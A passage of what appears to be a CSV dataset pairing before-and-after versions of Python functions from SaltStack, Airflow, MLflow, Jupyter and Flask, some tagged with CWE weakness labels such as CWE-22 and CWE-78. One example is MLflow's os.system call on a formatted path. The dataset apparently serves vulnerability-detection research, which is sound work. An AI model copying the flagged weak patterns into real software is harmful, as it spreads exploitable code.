os.chdir(os.path.dirname(thinver))
tfp.add('version')
os.chdir(start_dir)
tfp.close()
return thintar",CWE-22,saltstack/salt,8de6726c57873f2e276f237ebfcf19ea3d6f01ff,"def gen_thin(cachedir, extra_mods='', overwrite=False, so_mods=''):
'''
Generate the salt-thin tarball and print the location of the tarball
Optional additional mods to include (e.g. mako) can be supplied as a comma
delimited string. Permits forcing an overwrite of the output file as well.
CLI Example:
.. code-block:: bash
salt-run thin.generate
salt-run thin.generate mako
salt-run thin.generate mako,wempy 1
salt-run thin.generate overwrite=1
'''
thindir = os.path.join(cachedir, 'thin')
if not os.path.isdir(thindir):
os.makedirs(thindir)
thintar = os.path.join(thindir, 'thin.tgz')
thinver = os.path.join(thindir, 'version')
salt_call = os.path.join(thindir, 'salt-call')
with salt.utils.fopen(salt_call, 'w+') as fp_:
fp_.write(SALTCALL)
if os.path.isfile(thintar):
with salt.utils.fopen(thinver) as fh_:
if overwrite or not os.path.isfile(thinver):
try:
os.remove(thintar)
except OSError:
pass
elif fh_.read() == salt.__version__:
return thintar
tops = [
os.path.dirname(salt.__file__),
os.path.dirname(jinja2.__file__),
os.path.dirname(yaml.__file__),
os.path.dirname(requests.__file__)
]
if HAS_URLLIB3:
tops.append(os.path.dirname(urllib3.__file__))
if HAS_SIX:
tops.append(six.__file__.replace('.pyc', '.py'))
if HAS_CHARDET:
tops.append(os.path.dirname(chardet.__file__))
if HAS_CERTIFI:
tops.append(os.path.dirname(certifi.__file__))
if HAS_SSL_MATCH_HOSTNAME:
tops.append(os.path.dirname(os.path.dirname(ssl_match_hostname.__file__)))
for mod in [m for m in extra_mods.split(',') if m]:
if mod not in locals() and mod not in globals():
try:
locals()[mod] = __import__(mod)
moddir, modname = os.path.split(locals()[mod].__file__)
base, ext = os.path.splitext(modname)
if base == '__init__':
tops.append(moddir)
else:
tops.append(os.path.join(moddir, base + '.py'))
except ImportError:
# Not entirely sure this is the right thing, but the only
# options seem to be 1) fail, 2) spew errors, or 3) pass.
# Nothing else in here spits errors, and the markupsafe code
# doesn't bail on import failure, so I followed that lead.
# And of course, any other failure still S/T's.
pass
for mod in [m for m in so_mods.split(',') if m]:
try:
locals()[mod] = __import__(mod)
tops.append(locals()[mod].__file__)
except ImportError:
pass # As per comment above
if HAS_MARKUPSAFE:
tops.append(os.path.dirname(markupsafe.__file__))
tfp = tarfile.open(thintar, 'w:gz', dereference=True)
start_dir = os.getcwd()
tempdir = None
for top in tops:
base = os.path.basename(top)
top_dirname = os.path.dirname(top)
if os.path.isdir(top_dirname):
os.chdir(top_dirname)
else:
# This is likely a compressed python .egg
tempdir = tempfile.mkdtemp()
egg = zipfile.ZipFile(top_dirname)
egg.extractall(tempdir)
top = os.path.join(tempdir, base)
os.chdir(tempdir)
if not os.path.isdir(top):
# top is a single file module
tfp.add(base)
continue
for root, dirs, files in os.walk(base):
for name in files:
if not name.endswith(('.pyc', '.pyo')):
tfp.add(os.path.join(root, name))
if tempdir is not None:
shutil.rmtree(tempdir)
tempdir = None
os.chdir(thindir)
tfp.add('salt-call')
with salt.utils.fopen(thinver, 'w+') as fp_:
fp_.write(salt.__version__)
os.chdir(os.path.dirname(thinver))
tfp.add('version')
os.chdir(start_dir)
tfp.close()
return thintar"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/client/ssh/__init__.py,0,"def __init__(self, opts):
self.__parsed_rosters = {SSH.ROSTER_UPDATE_FLAG: True}
pull_sock = os.path.join(opts[""sock_dir""], ""master_event_pull.ipc"")
if os.path.exists(pull_sock) and zmq:
self.event = salt.utils.event.get_event(
""master"", opts[""sock_dir""], opts[""transport""], opts=opts, listen=False
)
else:
self.event = None
self.opts = opts
if self.opts[""regen_thin""]:
self.opts[""ssh_wipe""] = True
if not salt.utils.path.which(""ssh""):
raise salt.exceptions.SaltSystemExit(
code=-1,
msg=(
""No ssh binary found in path -- ssh must be installed for salt-ssh""
"" to run. Exiting.""
),
)
self.opts[""_ssh_version""] = ssh_version()
self.tgt_type = (
self.opts[""selected_target_option""]
if self.opts[""selected_target_option""]
else ""glob""
)
self._expand_target()
self.roster = salt.roster.Roster(self.opts, self.opts.get(""roster"", ""flat""))
self.targets = self.roster.targets(self.opts[""tgt""], self.tgt_type)
if not self.targets:
self._update_targets()
# If we're in a wfunc, we need to get the ssh key location from the
# top level opts, stored in __master_opts__
if ""__master_opts__"" in self.opts:
if self.opts[""__master_opts__""].get(""ssh_use_home_key"") and os.path.isfile(
os.path.expanduser(""~/.ssh/id_rsa"")
):
priv = os.path.expanduser(""~/.ssh/id_rsa"")
else:
priv = self.opts[""__master_opts__""].get(
""ssh_priv"",
os.path.join(
self.opts[""__master_opts__""][""pki_dir""], ""ssh"", ""salt-ssh.rsa""
),
)
else:
priv = self.opts.get(
""ssh_priv"", os.path.join(self.opts[""pki_dir""], ""ssh"", ""salt-ssh.rsa"")
)
if priv != ""agent-forwarding"":
if not os.path.isfile(priv):
try:
salt.client.ssh.shell.gen_key(priv)
except OSError:
raise salt.exceptions.SaltClientError(
""salt-ssh could not be run because it could not generate""
"" keys.\n\nYou can probably resolve this by executing this""
"" script with increased permissions via sudo or by running as""
"" root.\nYou could also use the '-c' option to supply a""
"" configuration directory that you have permissions to read and""
"" write to.""
)
self.defaults = {
""user"": self.opts.get(
""ssh_user"", salt.config.DEFAULT_MASTER_OPTS[""ssh_user""]
),
""port"": self.opts.get(
""ssh_port"", salt.config.DEFAULT_MASTER_OPTS[""ssh_port""]
),
""passwd"": self.opts.get(
""ssh_passwd"", salt.config.DEFAULT_MASTER_OPTS[""ssh_passwd""]
),
""priv"": priv,
""priv_passwd"": self.opts.get(
""ssh_priv_passwd"", salt.config.DEFAULT_MASTER_OPTS[""ssh_priv_passwd""]
),
""timeout"": self.opts.get(
""ssh_timeout"", salt.config.DEFAULT_MASTER_OPTS[""ssh_timeout""]
)
+ self.opts.get(""timeout"", salt.config.DEFAULT_MASTER_OPTS[""timeout""]),
""sudo"": self.opts.get(
""ssh_sudo"", salt.config.DEFAULT_MASTER_OPTS[""ssh_sudo""]
),
""sudo_user"": self.opts.get(
""ssh_sudo_user"", salt.config.DEFAULT_MASTER_OPTS[""ssh_sudo_user""]
),
""identities_only"": self.opts.get(
""ssh_identities_only"",
salt.config.DEFAULT_MASTER_OPTS[""ssh_identities_only""],
),
""remote_port_forwards"": self.opts.get(""ssh_remote_port_forwards""),
""ssh_options"": self.opts.get(""ssh_options""),
}
if self.opts.get(""rand_thin_dir""):
self.defaults[""thin_dir""] = os.path.join(
""/var/tmp"", "".{}"".format(uuid.uuid4().hex[:6])
)
self.opts[""ssh_wipe""] = ""True""
self.serial = salt.payload.Serial(opts)
self.returners = salt.loader.returners(self.opts, {})
self.fsclient = salt.fileclient.FSClient(self.opts)
self.thin = salt.utils.thin.gen_thin(
self.opts[""cachedir""],
extra_mods=self.opts.get(""thin_extra_mods""),
overwrite=self.opts[""regen_thin""],
python2_bin=self.opts[""python2_bin""],
python3_bin=self.opts[""python3_bin""],
extended_cfg=self.opts.get(""ssh_ext_alternatives""),
)
self.mods = mod_data(self.fsclient)",,saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def __init__(self, opts):
self.__parsed_rosters = {SSH.ROSTER_UPDATE_FLAG: True}
pull_sock = os.path.join(opts[""sock_dir""], ""master_event_pull.ipc"")
if os.path.exists(pull_sock) and zmq:
self.event = salt.utils.event.get_event(
""master"", opts[""sock_dir""], opts[""transport""], opts=opts, listen=False
)
else:
self.event = None
self.opts = opts
if self.opts[""regen_thin""]:
self.opts[""ssh_wipe""] = True
if not salt.utils.path.which(""ssh""):
raise salt.exceptions.SaltSystemExit(
code=-1,
msg=""No ssh binary found in path -- ssh must be installed for salt-ssh to run. Exiting."",
)
self.opts[""_ssh_version""] = ssh_version()
self.tgt_type = (
self.opts[""selected_target_option""]
if self.opts[""selected_target_option""]
else ""glob""
)
self._expand_target()
self.roster = salt.roster.Roster(self.opts, self.opts.get(""roster"", ""flat""))
self.targets = self.roster.targets(self.opts[""tgt""], self.tgt_type)
if not self.targets:
self._update_targets()
# If we're in a wfunc, we need to get the ssh key location from the
# top level opts, stored in __master_opts__
if ""__master_opts__"" in self.opts:
if self.opts[""__master_opts__""].get(""ssh_use_home_key"") and os.path.isfile(
os.path.expanduser(""~/.ssh/id_rsa"")
):
priv = os.path.expanduser(""~/.ssh/id_rsa"")
else:
priv = self.opts[""__master_opts__""].get(
""ssh_priv"",
os.path.join(
self.opts[""__master_opts__""][""pki_dir""], ""ssh"", ""salt-ssh.rsa""
),
)
else:
priv = self.opts.get(
""ssh_priv"", os.path.join(self.opts[""pki_dir""], ""ssh"", ""salt-ssh.rsa"")
)
if priv != ""agent-forwarding"":
if not os.path.isfile(priv):
try:
salt.client.ssh.shell.gen_key(priv)
except OSError:
raise salt.exceptions.SaltClientError(
""salt-ssh could not be run because it could not generate keys.\n\n""
""You can probably resolve this by executing this script with ""
""increased permissions via sudo or by running as root.\n""
""You could also use the '-c' option to supply a configuration ""
""directory that you have permissions to read and write to.""
)
self.defaults = {
""user"": self.opts.get(
""ssh_user"", salt.config.DEFAULT_MASTER_OPTS[""ssh_user""]
),
""port"": self.opts.get(
""ssh_port"", salt.config.DEFAULT_MASTER_OPTS[""ssh_port""]
),
""passwd"": self.opts.get(
""ssh_passwd"", salt.config.DEFAULT_MASTER_OPTS[""ssh_passwd""]
),
""priv"": priv,
""priv_passwd"": self.opts.get(
""ssh_priv_passwd"", salt.config.DEFAULT_MASTER_OPTS[""ssh_priv_passwd""]
),
""timeout"": self.opts.get(
""ssh_timeout"", salt.config.DEFAULT_MASTER_OPTS[""ssh_timeout""]
)
+ self.opts.get(""timeout"", salt.config.DEFAULT_MASTER_OPTS[""timeout""]),
""sudo"": self.opts.get(
""ssh_sudo"", salt.config.DEFAULT_MASTER_OPTS[""ssh_sudo""]
),
""sudo_user"": self.opts.get(
""ssh_sudo_user"", salt.config.DEFAULT_MASTER_OPTS[""ssh_sudo_user""]
),
""identities_only"": self.opts.get(
""ssh_identities_only"",
salt.config.DEFAULT_MASTER_OPTS[""ssh_identities_only""],
),
""remote_port_forwards"": self.opts.get(""ssh_remote_port_forwards""),
""ssh_options"": self.opts.get(""ssh_options""),
}
if self.opts.get(""rand_thin_dir""):
self.defaults[""thin_dir""] = os.path.join(
""/var/tmp"", "".{}"".format(uuid.uuid4().hex[:6])
)
self.opts[""ssh_wipe""] = ""True""
self.serial = salt.payload.Serial(opts)
self.returners = salt.loader.returners(self.opts, {})
self.fsclient = salt.fileclient.FSClient(self.opts)
self.thin = salt.utils.thin.gen_thin(
self.opts[""cachedir""],
extra_mods=self.opts.get(""thin_extra_mods""),
overwrite=self.opts[""regen_thin""],
python2_bin=self.opts[""python2_bin""],
python3_bin=self.opts[""python3_bin""],
extended_cfg=self.opts.get(""ssh_ext_alternatives""),
)
self.mods = mod_data(self.fsclient)"
,UNKNOWN,UNKNOWN,tests/providers/docker/operators/test_docker.py,1,"def test_execute(self):
stringio_patcher = mock.patch(""airflow.providers.docker.operators.docker.StringIO"")
stringio_mock = stringio_patcher.start()
stringio_mock.side_effect = lambda *args: args[0]
operator = DockerOperator(
api_version=""1.19"",
command=""env"",
environment={""UNIT"": ""TEST""},
private_environment={""PRIVATE"": ""MESSAGE""},
env_file=""ENV=FILE\nVAR=VALUE"",
image=""ubuntu:latest"",
network_mode=""bridge"",
owner=""unittest"",
task_id=""unittest"",
mounts=[Mount(source=""/host/path"", target=""/container/path"", type=""bind"")],
entrypoint='[""sh"", ""-c""]',
working_dir=""/container/path"",
shm_size=1000,
host_tmp_dir=""/host/airflow"",
container_name=""test_container"",
tty=True,
hostname=""test.container.host"",
device_requests=[DeviceRequest(count=-1, capabilities=[[""gpu""]])],
log_opts_max_file=""5"",
log_opts_max_size=""10m"",
)
operator.execute(None)
self.client_class_mock.assert_called_once_with(
base_url=""unix://var/run/docker.sock"", tls=None, version=""1.19"", timeout=DEFAULT_TIMEOUT_SECONDS
)
self.client_mock.create_container.assert_called_once_with(
command=""env"",
name=""test_container"",
environment={
""AIRFLOW_TMP_DIR"": ""/tmp/airflow"",
""UNIT"": ""TEST"",
""PRIVATE"": ""MESSAGE"",
""ENV"": ""FILE"",
""VAR"": ""VALUE"",
},
host_config=self.client_mock.create_host_config.return_value,
image=""ubuntu:latest"",
user=None,
entrypoint=[""sh"", ""-c""],
working_dir=""/container/path"",
tty=True,
hostname=""test.container.host"",
)
self.client_mock.create_host_config.assert_called_once_with(
mounts=[
Mount(source=""/host/path"", target=""/container/path"", type=""bind""),
Mount(source=""/mkdtemp"", target=""/tmp/airflow"", type=""bind""),
],
network_mode=""bridge"",
shm_size=1000,
cpu_shares=1024,
mem_limit=None,
auto_remove=False,
dns=None,
dns_search=None,
cap_add=None,
extra_hosts=None,
privileged=False,
device_requests=[DeviceRequest(count=-1, capabilities=[[""gpu""]])],
log_config=LogConfig(config={""max-size"": ""10m"", ""max-file"": ""5""}),
ipc_mode=None,
)
self.tempdir_mock.assert_called_once_with(dir=""/host/airflow"", prefix=""airflowtmp"")
self.client_mock.images.assert_called_once_with(name=""ubuntu:latest"")
self.client_mock.attach.assert_called_once_with(
container=""some_id"", stdout=True, stderr=True, stream=True
)
self.client_mock.pull.assert_called_once_with(""ubuntu:latest"", stream=True, decode=True)
self.client_mock.wait.assert_called_once_with(""some_id"")
assert (
operator.cli.pull(""ubuntu:latest"", stream=True, decode=True) == self.client_mock.pull.return_value
)
stringio_mock.assert_called_once_with(""ENV=FILE\nVAR=VALUE"")
self.dotenv_mock.assert_called_once_with(stream=""ENV=FILE\nVAR=VALUE"")
stringio_patcher.stop()",CWE-703,apache/airflow,c0a7bf243461bf5e546367094e46eaab41e3831e,"def test_execute(self):
stringio_patcher = mock.patch(""airflow.providers.docker.operators.docker.StringIO"")
stringio_mock = stringio_patcher.start()
stringio_mock.side_effect = lambda *args: args[0]
operator = DockerOperator(
api_version=""1.19"",
command=""env"",
environment={""UNIT"": ""TEST""},
private_environment={""PRIVATE"": ""MESSAGE""},
env_file=""ENV=FILE\nVAR=VALUE"",
image=""ubuntu:latest"",
network_mode=""bridge"",
owner=""unittest"",
task_id=""unittest"",
mounts=[Mount(source=""/host/path"", target=""/container/path"", type=""bind"")],
entrypoint='[""sh"", ""-c""]',
working_dir=""/container/path"",
shm_size=1000,
host_tmp_dir=""/host/airflow"",
container_name=""test_container"",
tty=True,
hostname=""test.contrainer.host"",
device_requests=[DeviceRequest(count=-1, capabilities=[[""gpu""]])],
log_opts_max_file=""5"",
log_opts_max_size=""10m"",
)
operator.execute(None)
self.client_class_mock.assert_called_once_with(
base_url=""unix://var/run/docker.sock"", tls=None, version=""1.19"", timeout=DEFAULT_TIMEOUT_SECONDS
)
self.client_mock.create_container.assert_called_once_with(
command=""env"",
name=""test_container"",
environment={
""AIRFLOW_TMP_DIR"": ""/tmp/airflow"",
""UNIT"": ""TEST"",
""PRIVATE"": ""MESSAGE"",
""ENV"": ""FILE"",
""VAR"": ""VALUE"",
},
host_config=self.client_mock.create_host_config.return_value,
image=""ubuntu:latest"",
user=None,
entrypoint=[""sh"", ""-c""],
working_dir=""/container/path"",
tty=True,
hostname=""test.contrainer.host"",
)
self.client_mock.create_host_config.assert_called_once_with(
mounts=[
Mount(source=""/host/path"", target=""/container/path"", type=""bind""),
Mount(source=""/mkdtemp"", target=""/tmp/airflow"", type=""bind""),
],
network_mode=""bridge"",
shm_size=1000,
cpu_shares=1024,
mem_limit=None,
auto_remove=False,
dns=None,
dns_search=None,
cap_add=None,
extra_hosts=None,
privileged=False,
device_requests=[DeviceRequest(count=-1, capabilities=[[""gpu""]])],
log_config=LogConfig(config={""max-size"": ""10m"", ""max-file"": ""5""}),
ipc_mode=None,
)
self.tempdir_mock.assert_called_once_with(dir=""/host/airflow"", prefix=""airflowtmp"")
self.client_mock.images.assert_called_once_with(name=""ubuntu:latest"")
self.client_mock.attach.assert_called_once_with(
container=""some_id"", stdout=True, stderr=True, stream=True
)
self.client_mock.pull.assert_called_once_with(""ubuntu:latest"", stream=True, decode=True)
self.client_mock.wait.assert_called_once_with(""some_id"")
assert (
operator.cli.pull(""ubuntu:latest"", stream=True, decode=True) == self.client_mock.pull.return_value
)
stringio_mock.assert_called_once_with(""ENV=FILE\nVAR=VALUE"")
self.dotenv_mock.assert_called_once_with(stream=""ENV=FILE\nVAR=VALUE"")
stringio_patcher.stop()"
,UNKNOWN,UNKNOWN,tests/pytests/integration/conftest.py,1,"def salt_cli(salt_master):
""""""
The ``salt`` CLI as a fixture against the running master
""""""
assert salt_master.is_running()
return salt_master.salt_cli(timeout=30)",CWE-703,saltstack/salt,ec431c31846cc50869ea1097996137f1b6148b0c,"def salt_cli(salt_master):
""""""
The ``salt`` CLI as a fixture against the running master
""""""
assert salt_master.is_running()
return salt_master.salt_cli()"
,UNKNOWN,UNKNOWN,mlflow/sagemaker/__init__.py,1,"def build_image(name=DEFAULT_IMAGE_NAME, mlflow_home=None):
""""""
Build an MLflow Docker image.
The image is built locally and it requires Docker to run.
:param name: Docker image name.
:param mlflow_home: Directory containing checkout of the MLflow GitHub project or
current directory if not specified.
""""""
with TempDir() as tmp:
cwd = tmp.path()
if mlflow_home:
mlflow_dir = _copy_project(
src_path=mlflow_home, dst_path=cwd)
install_mlflow = (
""COPY {mlflow_dir} /opt/mlflow\n""
""RUN pip install /opt/mlflow\n""
""RUN cd /opt/mlflow/mlflow/java/scoring &&""
"" mvn --batch-mode package -DskipTests &&""
"" mkdir -p /opt/java/jars &&""
"" mv /opt/mlflow/mlflow/java/scoring/target/""
""mlflow-scoring-*-with-dependencies.jar /opt/java/jars\n""
).format(mlflow_dir=mlflow_dir)
else:
install_mlflow = (
""RUN pip install mlflow=={version}\n""
""RUN mvn --batch-mode dependency:copy""
"" -Dartifact=org.mlflow:mlflow-scoring:{version}:pom""
"" -DoutputDirectory=/opt/java\n""
""RUN mvn --batch-mode dependency:copy""
"" -Dartifact=org.mlflow:mlflow-scoring:{version}:jar""
"" -DoutputDirectory=/opt/java/jars\n""
""RUN cd /opt/java && mv mlflow-scoring-{version}.pom pom.xml &&""
"" mvn --batch-mode dependency:copy-dependencies -DoutputDirectory=/opt/java/jars\n""
""RUN rm /opt/java/pom.xml\n""
).format(version=mlflow.version.VERSION)
with open(os.path.join(cwd, ""Dockerfile""), ""w"") as f:
f.write(_DOCKERFILE_TEMPLATE % install_mlflow)
eprint(""building docker image"")
os.system('find {cwd}/'.format(cwd=cwd))
proc = Popen([""docker"", ""build"", ""-t"", name, ""-f"", ""Dockerfile"", "".""],
cwd=cwd,
stdout=PIPE,
stderr=STDOUT,
universal_newlines=True)
for x in iter(proc.stdout.readline, """"):
eprint(x, end='')",CWE-78,mlflow/mlflow,28dc5d1a91a3014d91961f67b6b5b0a461c1d707,"def build_image(name=DEFAULT_IMAGE_NAME, mlflow_home=None):
""""""
Build an MLflow Docker image.
The image is built locally and it requires Docker to run.
:param name: Docker image name.
:param mlflow_home: Directory containing checkout of the MLflow GitHub project or
current directory if not specified.
""""""
with TempDir() as tmp:
install_mlflow = ""RUN pip install mlflow=={version}"".format(
version=mlflow.version.VERSION)
cwd = tmp.path()
if mlflow_home:
mlflow_dir = _copy_project(
src_path=mlflow_home, dst_path=tmp.path())
install_mlflow = (""COPY {mlflow_dir} /opt/mlflow\n""
""RUN cd /opt/mlflow/mlflow/java/scoring &&""
"" mvn --batch-mode package -DskipTests \n""
""RUN pip install /opt/mlflow\n"")
install_mlflow = install_mlflow.format(mlflow_dir=mlflow_dir)
else:
eprint(""`mlflow_home` was not specified. The image will install""
"" MLflow from pip instead. As a result, the container will""
"" not support the MLeap flavor."")
with open(os.path.join(cwd, ""Dockerfile""), ""w"") as f:
f.write(_DOCKERFILE_TEMPLATE % install_mlflow)
eprint(""building docker image"")
os.system('find {cwd}/'.format(cwd=cwd))
proc = Popen([""docker"", ""build"", ""-t"", name, ""-f"", ""Dockerfile"", "".""],
cwd=cwd,
stdout=PIPE,
stderr=STDOUT,
universal_newlines=True)
for x in iter(proc.stdout.readline, """"):
eprint(x, end='')"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,setupbase.py,0,"def find_package_data():
""""""
Find package_data.
""""""
# This is not enough for these things to appear in an sdist.
# We need to muck with the MANIFEST to get this to work
# exclude components and less from the walk;
# we will build the components separately
excludes = [
pjoin('static', 'components'),
pjoin('static', '*', 'less'),
]
# walk notebook resources:
cwd = os.getcwd()
os.chdir('notebook')
static_data = []
for parent, dirs, files in os.walk('static'):
if any(fnmatch(parent, pat) for pat in excludes):
# prevent descending into subdirs
dirs[:] = []
continue
for f in files:
static_data.append(pjoin(parent, f))
# for verification purposes, explicitly add main.min.js
# so that installation will fail if they are missing
for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
static_data.append(pjoin('static', app, 'js', 'main.min.js'))
components = pjoin(""static"", ""components"")
# select the components we actually need to install
# (there are lots of resources we bundle for sdist-reasons that we don't actually use)
static_data.extend([
pjoin(components, ""backbone"", ""backbone-min.js""),
pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
pjoin(components, ""es6-promise"", ""*.js""),
pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
pjoin(components, ""jquery"", ""jquery.min.js""),
pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
pjoin(components, ""marked"", ""lib"", ""marked.js""),
pjoin(components, ""requirejs"", ""require.js""),
pjoin(components, ""underscore"", ""underscore-min.js""),
pjoin(components, ""moment"", ""moment.js""),
pjoin(components, ""moment"", ""min"", ""moment.min.js""),
pjoin(components, ""xterm.js"", ""dist"", ""xterm.js""),
pjoin(components, ""xterm.js"", ""dist"", ""xterm.css""),
pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
])
# Ship all of Codemirror's CSS and JS
for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
for f in files:
if f.endswith(('.js', '.css')):
static_data.append(pjoin(parent, f))
# Trim mathjax
mj = lambda *path: pjoin(components, 'MathJax', *path)
static_data.extend([
mj('MathJax.js'),
mj('config', 'TeX-AMS_HTML-full.js'),
mj('config', 'Safe.js'),
])
trees = []
mj_out = mj('jax', 'output')
if os.path.exists(mj_out):
for output in os.listdir(mj_out):
path = pjoin(mj_out, output)
static_data.append(pjoin(path, '*.js'))
autoload = pjoin(path, 'autoload')
if os.path.isdir(autoload):
trees.append(autoload)
for tree in trees + [
mj('localization'), # limit to en?
mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
mj('extensions'),
mj('jax', 'input', 'TeX'),
mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
]:
for parent, dirs, files in os.walk(tree):
for f in files:
static_data.append(pjoin(parent, f))
os.chdir(os.path.join('tests',))
js_tests = glob('*.js') + glob('*/*.js')
os.chdir(cwd)
package_data = {
'notebook' : ['templates/*'] + static_data,
'notebook.tests' : js_tests,
}
return package_data",,jupyter/notebook,8489faa4cfd865a435abcb4c49d057916ed08734,"def find_package_data():
""""""
Find package_data.
""""""
# This is not enough for these things to appear in an sdist.
# We need to muck with the MANIFEST to get this to work
# exclude components and less from the walk;
# we will build the components separately
excludes = [
pjoin('static', 'components'),
pjoin('static', '*', 'less'),
]
# walk notebook resources:
cwd = os.getcwd()
os.chdir('notebook')
static_data = []
for parent, dirs, files in os.walk('static'):
if any(fnmatch(parent, pat) for pat in excludes):
# prevent descending into subdirs
dirs[:] = []
continue
for f in files:
static_data.append(pjoin(parent, f))
# for verification purposes, explicitly add main.min.js
# so that installation will fail if they are missing
for app in ['auth', 'edit', 'notebook', 'terminal', 'tree']:
static_data.append(pjoin('static', app, 'js', 'main.min.js'))
components = pjoin(""static"", ""components"")
# select the components we actually need to install
# (there are lots of resources we bundle for sdist-reasons that we don't actually use)
static_data.extend([
pjoin(components, ""backbone"", ""backbone-min.js""),
pjoin(components, ""bootstrap"", ""js"", ""bootstrap.min.js""),
pjoin(components, ""bootstrap-tour"", ""build"", ""css"", ""bootstrap-tour.min.css""),
pjoin(components, ""bootstrap-tour"", ""build"", ""js"", ""bootstrap-tour.min.js""),
pjoin(components, ""es6-promise"", ""*.js""),
pjoin(components, ""font-awesome"", ""fonts"", ""*.*""),
pjoin(components, ""google-caja"", ""html-css-sanitizer-minified.js""),
pjoin(components, ""jquery"", ""jquery.min.js""),
pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.js""),
pjoin(components, ""jquery-typeahead"", ""dist"", ""jquery.typeahead.min.css""),
pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""images"", ""*""),
pjoin(components, ""marked"", ""lib"", ""marked.js""),
pjoin(components, ""requirejs"", ""require.js""),
pjoin(components, ""underscore"", ""underscore-min.js""),
pjoin(components, ""moment"", ""moment.js""),
pjoin(components, ""moment"", ""min"", ""moment.min.js""),
pjoin(components, ""xterm.js"", ""src"", ""xterm.js""),
pjoin(components, ""xterm.js"", ""src"", ""xterm.css""),
pjoin(components, ""text-encoding"", ""lib"", ""encoding.js""),
])
# Ship all of Codemirror's CSS and JS
for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
for f in files:
if f.endswith(('.js', '.css')):
static_data.append(pjoin(parent, f))
# Trim mathjax
mj = lambda *path: pjoin(components, 'MathJax', *path)
static_data.extend([
mj('MathJax.js'),
mj('config', 'TeX-AMS_HTML-full.js'),
mj('config', 'Safe.js'),
])
trees = []
mj_out = mj('jax', 'output')
if os.path.exists(mj_out):
for output in os.listdir(mj_out):
path = pjoin(mj_out, output)
static_data.append(pjoin(path, '*.js'))
autoload = pjoin(path, 'autoload')
if os.path.isdir(autoload):
trees.append(autoload)
for tree in trees + [
mj('localization'), # limit to en?
mj('fonts', 'HTML-CSS', 'STIX-Web', 'woff'),
mj('extensions'),
mj('jax', 'input', 'TeX'),
mj('jax', 'output', 'HTML-CSS', 'fonts', 'STIX-Web'),
mj('jax', 'output', 'SVG', 'fonts', 'STIX-Web'),
]:
for parent, dirs, files in os.walk(tree):
for f in files:
static_data.append(pjoin(parent, f))
os.chdir(os.path.join('tests',))
js_tests = glob('*.js') + glob('*/*.js')
os.chdir(cwd)
package_data = {
'notebook' : ['templates/*'] + static_data,
'notebook.tests' : js_tests,
}
return package_data"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/testsuite/appctx.py,0,"def test_app_tearing_down(self):
cleanup_stuff = []
app = flask.Flask(__name__)
@app.teardown_appcontext
def cleanup(exception):
cleanup_stuff.append(exception)
with app.app_context():
pass
self.assert_equal(cleanup_stuff, [None])",,pallets/flask,a3a2f521f14ba90689efc661afe7a0375409c83e,"def test_app_tearing_down(self):
cleanup_stuff = []
app = flask.Flask(__name__)
@app.teardown_appcontext
def cleanup(exception):
cleanup_stuff.append(exception)
with app.app_context():
pass
self.assert_equal(cleanup_stuff, [None])"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,flask/ctx.py,0,"def __init__(self, app, environ, request=None, session=None):
self.app = app
if request is None:
request = app.request_class(environ)
self.request = request
self.url_adapter = None
try:
self.url_adapter = app.create_url_adapter(self.request)
except HTTPException as e:
self.request.routing_exception = e
self.flashes = None
self.session = session
# Request contexts can be pushed multiple times and interleaved with
# other request contexts. Now only if the last level is popped we
# get rid of them. Additionally if an application context is missing
# one is created implicitly so for each level we add this information
self._implicit_app_ctx_stack = []
# indicator if the context was preserved. Next time another context
# is pushed the preserved context is popped.
self.preserved = False
# remembers the exception for pop if there is one in case the context
# preservation kicks in.
self._preserved_exc = None
# Functions that should be executed after the request on the response
# object. These will be called before the regular ""after_request""
# functions.
self._after_request_functions = []
if self.url_adapter is not None:
self.match_request()",,pallets/flask,ca23b7b40638c48a72e7be4ea5134984c399b502,"def __init__(self, app, environ, request=None, session=None):
self.app = app
if request is None:
request = app.request_class(environ)
self.request = request
self.url_adapter = app.create_url_adapter(self.request)
self.flashes = None
self.session = session
# Request contexts can be pushed multiple times and interleaved with
# other request contexts. Now only if the last level is popped we
# get rid of them. Additionally if an application context is missing
# one is created implicitly so for each level we add this information
self._implicit_app_ctx_stack = []
# indicator if the context was preserved. Next time another context
# is pushed the preserved context is popped.
self.preserved = False
# remembers the exception for pop if there is one in case the context
# preservation kicks in.
self._preserved_exc = None
# Functions that should be executed after the request on the response
# object. These will be called before the regular ""after_request""
# functions.
self._after_request_functions = []
self.match_request()"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/schema/tests.py,0,"def test_add_generated_field_with_kt_model(self):
class GeneratedFieldKTModel(Model):
data = JSONField()
status = GeneratedField(
expression=KT(""data__status""),
output_field=TextField(),
db_persist=True,
)
class Meta:
app_label = ""schema""
with CaptureQueriesContext(connection) as ctx:
with connection.schema_editor() as editor:
editor.create_model(GeneratedFieldKTModel)
self.assertIs(
